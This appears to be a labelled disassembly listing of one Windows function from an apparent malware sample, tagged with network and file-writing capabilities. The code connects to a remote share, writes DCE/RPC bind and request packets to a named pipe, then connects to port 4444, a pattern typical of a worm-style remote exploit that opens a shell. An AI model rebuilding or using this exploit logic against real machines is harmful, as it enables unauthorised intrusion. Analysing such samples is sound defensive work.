Function at 0x407be4
Capabilities:
Connect network resource
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0xcee0
call fcn.0040a8d0
push esi
push edi
and byte [ebp - 0xced8], 0
mov byte [ebp - 0xced8], 1
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xced4], eax
push 0x115c
call sub.WS2_32.dll_htons
movzx eax, ax
xor eax, 0x9999
mov word [ebp - 0xcee0], ax
push 2
lea eax, [ebp - 0xcee0]
push eax
push 0x4032d0
call fcn.0040a280
add esp, 0xc
mov eax, dword [0x40375c]
mov dword [ebp - 0x2330], eax
cmp dword [ebp - 0x2330], 0
jne 0x407c54
xor al, al
jmp 0x408510
push 0x32b
push 0
lea eax, [ebp - 0x32c]
push eax
call fcn.00409890
add esp, 0xc
push 0xdac
push 0
lea eax, [ebp - 0xb378]
push eax
call fcn.00409890
add esp, 0xc
push 0x1b58
push 0
lea eax, [ebp - 0xced0]
push eax
call fcn.00409890
add esp, 0xc
push 0xdab
push 0x41
lea eax, [ebp - 0xb378]
push eax
call fcn.00409890
add esp, 0xc
mov eax, dword [ebp + 8]
imul eax, eax, 0xc
mov ecx, dword [ebp + 8]
imul ecx, ecx, 0xc
mov ecx, dword [ecx + 0x40373c]
mov eax, dword [eax + 0x403738]
mov dword [ebp + ecx - 0xb378], eax
mov dword [ebp - 0xa5cc], 0x8fc
push 5
push 0x4036e0
mov eax, dword [ebp - 0xa5cc]
lea eax, [ebp + eax - 0xb378]
push eax
call fcn.0040a280
add esp, 0xc
mov eax, dword [ebp - 0xa5cc]
add eax, 5
mov dword [ebp - 0xa5cc], eax
push 0x3f
push 0x4036f8
mov eax, dword [ebp - 0xa5cc]
lea eax, [ebp + eax - 0xb378]
push eax
call fcn.0040a280
add esp, 0xc
mov eax, dword [ebp - 0xa5cc]
add eax, 0x3f
mov dword [ebp - 0xa5cc], eax
lea eax, [ebp - 0x32c]
push eax
push dword [ebp - 0x2330]
push 0x403220
call fcn.00407a57
add esp, 0xc
lea eax, [ebp - 0x32c]
push eax
call fcn.004098f0
pop ecx
push eax
lea eax, [ebp - 0x32c]
push eax
mov eax, dword [ebp - 0xa5cc]
lea eax, [ebp + eax - 0xb378]
push eax
call fcn.0040a280
add esp, 0xc
lea eax, [ebp - 0x32c]
push eax
call fcn.004098f0
pop ecx
mov ecx, dword [ebp - 0xa5cc]
add ecx, eax
mov dword [ebp - 0xa5cc], ecx
mov eax, dword [ebp - 0xa5cc]
and byte [ebp + eax - 0xb378], 0
mov eax, dword [ebp - 0xa5cc]
inc eax
mov dword [ebp - 0xa5cc], eax
and dword [ebp - 0xcedc], 0
jmp 0x407dbe
mov eax, dword [ebp - 0xcedc]
inc eax
mov dword [ebp - 0xcedc], eax
cmp dword [ebp - 0xcedc], 0xdac
jae 0x407de9
mov eax, dword [ebp - 0xcedc]
movzx ax, byte [ebp + eax - 0xb378]
mov ecx, dword [ebp - 0xcedc]
mov word [ebp + ecx*2 - 0xced0], ax
jmp 0x407db1
push dword [ebp - 0xced4]
push 0x403dc8
push 0x2000
lea eax, [ebp - 0x83b8]
push eax
call fcn.0040a223
add esp, 0x10
push 0x2000
lea eax, [ebp - 0x83b8]
push eax
lea eax, [ebp - 0x63b8]
push eax
call fcn.0040a7c3
add esp, 0xc
push 0x403dd0
push dword [ebp - 0xced4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x407ea7
push dword [ebp - 0xced4]
push 0x403dd4
push 0x2000
lea eax, [ebp - 0x232c]
push eax
call fcn.0040a223
add esp, 0x10
push 0x2000
push 0x403ddc
lea eax, [ebp - 0x232c]
push eax
call fcn.0040a6a0
add esp, 0xc
push 0x20
push 0
lea eax, [ebp - 0x236c]
push eax
call fcn.00409890
add esp, 0xc
lea eax, [ebp - 0x232c]
mov dword [ebp - 0x2358], eax
push 0
push 0x401080
push 0x401084
lea eax, [ebp - 0x236c]
push eax
call sub.MPR.dll_WNetAddConnection2A
push dword [ebp - 0xced4]
push 0x403de4
push 0x2000
lea eax, [ebp - 0xa3c4]
push eax
call fcn.0040a223
add esp, 0x10
push 0x2000
push 0x403dec
lea eax, [ebp - 0xa3c4]
push eax
call fcn.0040a6a0
add esp, 0xc
push 0
push 0
push 3
push 0
push 3
push 0x40000000
lea eax, [ebp - 0xa3c4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2370], eax
cmp dword [ebp - 0x2370], 0xffffffff
jne 0x407f20
push 0
push 0
push dword [ebp - 0x2358]
call sub.MPR.dll_WNetCancelConnection2A
xor al, al
jmp 0x408510
push 0x48
push 0
lea eax, [ebp - 0x23b8]
push eax
call fcn.00409890
add esp, 0xc
mov byte [ebp - 0x23b8], 5
and byte [ebp - 0x23b7], 0
mov byte [ebp - 0x23b6], 0xb
mov byte [ebp - 0x23b5], 3
mov dword [ebp - 0x23b4], 0x10
mov word [ebp - 0x23b0], 0x48
and word [ebp - 0x23ae], 0
mov dword [ebp - 0x23ac], 1
mov word [ebp - 0x23a8], 0x10b8
mov word [ebp - 0x23a6], 0x10b8
and dword [ebp - 0x23a4], 0
mov dword [ebp - 0x23a0], 1
and word [ebp - 0x239c], 0
mov byte [ebp - 0x239a], 1
mov dword [ebp - 0x2388], 1
push 0x10
push 0x403df8
lea eax, [ebp - 0x2398]
push eax
call fcn.0040a280
add esp, 0xc
mov dword [ebp - 0x2374], 2
push 0x10
push 0x403e0c
lea eax, [ebp - 0x2384]
push eax
call fcn.0040a280
add esp, 0xc
push 0
lea eax, [ebp - 0xa5c8]
push eax
push 0x48
lea eax, [ebp - 0x23b8]
push eax
push dword [ebp - 0x2370]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40802a
push dword [ebp - 0x2370]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push dword [ebp - 0x2358]
call sub.MPR.dll_WNetCancelConnection2A
xor al, al
jmp 0x408510
and dword [ebp - 0x83c4], 0
mov eax, dword [ebp - 0x83c4]
add eax, 4
mov dword [ebp - 0x83c4], eax
mov eax, dword [ebp - 0x83c4]
add eax, 0xc
mov dword [ebp - 0x83c4], eax
lea eax, [ebp - 0x63b8]
push eax
call fcn.0040a67d
pop ecx
mov ecx, dword [ebp - 0x83c4]
lea eax, [ecx + eax*2 + 2]
mov dword [ebp - 0x83c4], eax
mov eax, dword [ebp - 0x83c4]
xor edx, edx
push 4
pop ecx
div ecx
test edx, edx
je 0x40808c
mov eax, dword [ebp - 0x83c4]
inc eax
mov dword [ebp - 0x83c4], eax
jmp 0x40806c
mov eax, dword [ebp + 8]
imul eax, eax, 0xc
movzx eax, byte [eax + 0x403740]
test eax, eax
je 0x4080ac
mov eax, dword [ebp - 0x83c4]
add eax, 4
mov dword [ebp - 0x83c4], eax
mov eax, dword [ebp - 0x83c4]
add eax, 0xc
mov dword [ebp - 0x83c4], eax
lea eax, [ebp - 0xced0]
push eax
call fcn.0040a67d
pop ecx
mov ecx, dword [ebp - 0x83c4]
lea eax, [ecx + eax*2 + 2]
mov dword [ebp - 0x83c4], eax
mov eax, dword [ebp - 0x83c4]
xor edx, edx
push 4
pop ecx
div ecx
test edx, edx
je 0x4080f8
mov eax, dword [ebp - 0x83c4]
inc eax
mov dword [ebp - 0x83c4], eax
jmp 0x4080d8
mov eax, dword [ebp - 0x83c4]
add eax, 8
mov dword [ebp - 0x83c4], eax
mov eax, dword [ebp + 8]
imul eax, eax, 0xc
movzx eax, byte [eax + 0x403740]
test eax, eax
je 0x408129
mov eax, dword [ebp - 0x83c4]
add eax, 4
mov dword [ebp - 0x83c4], eax
jmp 0x408137
mov eax, dword [ebp - 0x83c4]
inc eax
inc eax
mov dword [ebp - 0x83c4], eax
push dword [ebp - 0x83c4]
call fcn.0040a5e4
pop ecx
mov dword [ebp - 0x234c], eax
cmp dword [ebp - 0x234c], 0
jne 0x408174
push dword [ebp - 0x2370]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push dword [ebp - 0x2358]
call sub.MPR.dll_WNetCancelConnection2A
xor al, al
jmp 0x408510
push dword [ebp - 0x83c4]
push 0
push dword [ebp - 0x234c]
call fcn.00409890
add esp, 0xc
and dword [ebp - 0x83c0], 0
push 4
push 0x4036e8
mov eax, dword [ebp - 0x234c]
add eax, dword [ebp - 0x83c0]
push eax
call fcn.0040a280
add esp, 0xc
mov eax, dword [ebp - 0x83c0]
add eax, 4
mov dword [ebp - 0x83c0], eax
lea eax, [ebp - 0x63b8]
push eax
call fcn.0040a67d
pop ecx
inc eax
mov ecx, dword [ebp - 0x234c]
add ecx, dword [ebp - 0x83c0]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x234c]
add eax, dword [ebp - 0x83c0]
and dword [eax + 4], 0
mov eax, dword [ebp - 0x234c]
add eax, dword [ebp - 0x83c0]
mov ecx, dword [ebp - 0x234c]
add ecx, dword [ebp - 0x83c0]
mov ecx, dword [ecx + 8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x83c0]
add eax, 0xc
mov dword [ebp - 0x83c0], eax
lea eax, [ebp - 0x63b8]
push eax
mov eax, dword [ebp - 0x234c]
add eax, dword [ebp - 0x83c0]
push eax
call fcn.0040a658
pop ecx
pop ecx
lea eax, [ebp - 0x63b8]
push eax
call fcn.0040a67d
pop ecx
mov ecx, dword [ebp - 0x83c0]
lea eax, [ecx + eax*2 + 2]
mov dword [ebp - 0x83c0], eax
mov eax, dword [ebp - 0x83c0]
xor edx, edx
push 4
pop ecx
div ecx
test edx, edx
je 0x40826d
mov eax, dword [ebp - 0x83c0]
inc eax
mov dword [ebp - 0x83c0], eax
jmp 0x40824d
mov eax, dword [ebp + 8]
imul eax, eax, 0xc
movzx eax, byte [eax + 0x403740]
test eax, eax
je 0x4082a9
push 4
push 0x4036f0
mov eax, dword [ebp - 0x234c]
add eax, dword [ebp - 0x83c0]
push eax
call fcn.0040a280
add esp, 0xc
mov eax, dword [ebp - 0x83c0]
add eax, 4
mov dword [ebp - 0x83c0], eax
lea eax, [ebp - 0xced0]
push eax
call fcn.0040a67d
pop ecx
inc eax
mov ecx, dword [ebp - 0x234c]
add ecx, dword [ebp - 0x83c0]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x234c]
add eax, dword [ebp - 0x83c0]
and dword [eax + 4], 0
mov eax, dword [ebp - 0x234c]
add eax, dword [ebp - 0x83c0]
mov ecx, dword [ebp - 0x234c]
add ecx, dword [ebp - 0x83c0]
mov ecx, dword [ecx + 8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x83c0]
add eax, 0xc
mov dword [ebp - 0x83c0], eax
lea eax, [ebp - 0xced0]
push eax
mov eax, dword [ebp - 0x234c]
add eax, dword [ebp - 0x83c0]
push eax
call fcn.0040a658
pop ecx
pop ecx
lea eax, [ebp - 0xced0]
push eax
call fcn.0040a67d
pop ecx
mov ecx, dword [ebp - 0x83c0]
lea eax, [ecx + eax*2 + 2]
mov dword [ebp - 0x83c0], eax
mov eax, dword [ebp - 0x83c0]
xor edx, edx
push 4
pop ecx
div ecx
test edx, edx
je 0x40835a
mov eax, dword [ebp - 0x83c0]
inc eax
mov dword [ebp - 0x83c0], eax
jmp 0x40833a
push 8
push 0
mov eax, dword [ebp - 0x234c]
add eax, dword [ebp - 0x83c0]
push eax
call fcn.00409890
add esp, 0xc
mov eax, dword [ebp - 0x83c0]
add eax, 8
mov dword [ebp - 0x83c0], eax
mov eax, dword [ebp + 8]
imul eax, eax, 0xc
movzx eax, byte [eax + 0x403740]
test eax, eax
je 0x4083b3
mov eax, dword [ebp - 0x234c]
add eax, dword [ebp - 0x83c0]
and dword [eax], 0
mov eax, dword [ebp - 0x83c0]
add eax, 4
mov dword [ebp - 0x83c0], eax
jmp 0x4083d2
mov eax, dword [ebp - 0x234c]
add eax, dword [ebp - 0x83c0]
mov word [eax], 1
mov eax, dword [ebp - 0x83c0]
inc eax
inc eax
mov dword [ebp - 0x83c0], eax
push 0x18
push 0
lea eax, [ebp - 0x2348]
push eax
call fcn.00409890
add esp, 0xc
mov byte [ebp - 0x2348], 5
and byte [ebp - 0x2347], 0
and byte [ebp - 0x2346], 0
mov byte [ebp - 0x2345], 3
mov dword [ebp - 0x2344], 0x10
and word [ebp - 0x233e], 0
mov dword [ebp - 0x233c], 1
and word [ebp - 0x2334], 0
mov eax, dword [ebp + 8]
imul eax, eax, 0xc
movzx eax, byte [eax + 0x403740]
test eax, eax
je 0x408441
mov word [ebp - 0x2332], 0x1b
jmp 0x40844a
mov word [ebp - 0x2332], 0x19
push 1
push 0x10b8
push dword [ebp - 0x83c4]
push dword [ebp - 0x234c]
sub esp, 0x18
push 6
pop ecx
lea esi, [ebp - 0x2348]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
push dword [ebp - 0x2370]
call fcn.00407ab8
add esp, 0x2c
movzx eax, al
test eax, eax
jne 0x4084ad
push dword [ebp - 0x2370]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x234c]
call fcn.0040a5b5
pop ecx
push 0
push 0
push dword [ebp - 0x2358]
call sub.MPR.dll_WNetCancelConnection2A
xor al, al
jmp 0x408510
push dword [ebp - 0x2370]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x234c]
call fcn.0040a5b5
pop ecx
push 0
push 0
push dword [ebp - 0x2358]
call sub.MPR.dll_WNetCancelConnection2A
movzx eax, byte [ebp - 0xced8]
test eax, eax
je 0x40850e
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x115c
push dword [ebp + 0xc]
call fcn.00406c0a
pop ecx
pop ecx
push dword [ebp + 0xc]
push 0x403e20
push 0x403e24
call fcn.004050e2
add esp, 0xc
mov al, 1
pop edi
pop esi
leave
ret